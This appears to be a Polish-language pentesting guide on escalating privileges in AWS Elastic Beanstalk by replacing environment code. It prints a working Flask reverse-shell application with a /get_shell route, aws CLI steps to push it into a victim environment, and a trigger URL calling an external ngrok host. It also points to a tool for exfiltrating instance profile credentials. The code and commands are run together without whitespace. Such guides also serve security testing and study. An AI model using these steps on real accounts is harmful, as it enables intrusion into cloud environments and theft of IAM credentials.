Aby wykonać wrażliwe działania w Beanstalk, będziesz potrzebować wielu wrażliwych uprawnień w wielu różnych usługach. Możesz sprawdzić na przykład uprawnienia nadane arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, uprawnienia do zapisu w S3 i wiele innych
Mając uprawnienia do zapisu w koszyku S3 zawierającym kod środowiska oraz uprawnienia do przebudowy aplikacji (potrzebne jest elasticbeanstalk:RebuildEnvironment i kilka innych związanych z S3, EC2 i Cloudformation), możesz zmodyfikowaćkod, przebudować aplikację, a następnym razem, gdy uzyskasz dostęp do aplikacji, wykona ona twój nowy kod, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, i inne...
Wymienione oraz kilka uprawnień S3, EC2, cloudformation, autoscaling i elasticloadbalancing są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.
Przede wszystkim musisz stworzyć legitny Beanstalk environment z kodem, który chciałbyś uruchomić w ofierze, postępując zgodnie z poprzednimi krokami. Potencjalnie prosty zip zawierający te 2 pliki:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Gdy masz swoje własne środowisko Beanstalk uruchamiające twoją powłokę rev, nadszedł czas, aby przenieść ją do środowiska ofiary. Aby to zrobić, musisz zaktualizować politykę Bucket swojego koszyka S3 Beanstalk, aby ofiara mogła uzyskać do niego dostęp (Zauważ, że to otworzy Bucket dla WSZYSTKICH):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.